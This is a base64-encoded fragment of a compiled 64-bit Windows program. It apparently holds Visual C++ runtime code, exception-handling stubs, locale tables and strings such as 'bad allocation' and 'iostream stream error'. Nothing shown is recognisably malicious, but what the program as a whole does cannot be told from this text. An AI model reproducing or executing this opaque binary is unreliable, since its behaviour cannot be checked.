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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAgACAAIAAgAGgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAYEBgQGBAYEBgQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBEAAQABAAEAAQABAAggGCAYIBggGCAYIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECARAAEAAQABAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAFAAUABAAEAAQABAAEAAUABAAEAAQABAAEAAQAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQAAEBAQEBAQEBAQEBAQEBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAACAQIBAgECAQIBAgECAQIBAQEAAAAAAAAAAAAAAACAgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/wABAgMEBQYHCAkKCwwNDg8QERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9Pj9AYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpbXF1eX2BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ent8fX5/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/wABAgMEBQYHCAkKCwwNDg8QERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9Pj9AQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpbXF1eX2BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWnt8fX5/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v9wsgOAAQAAALC+BoABAAAAUL8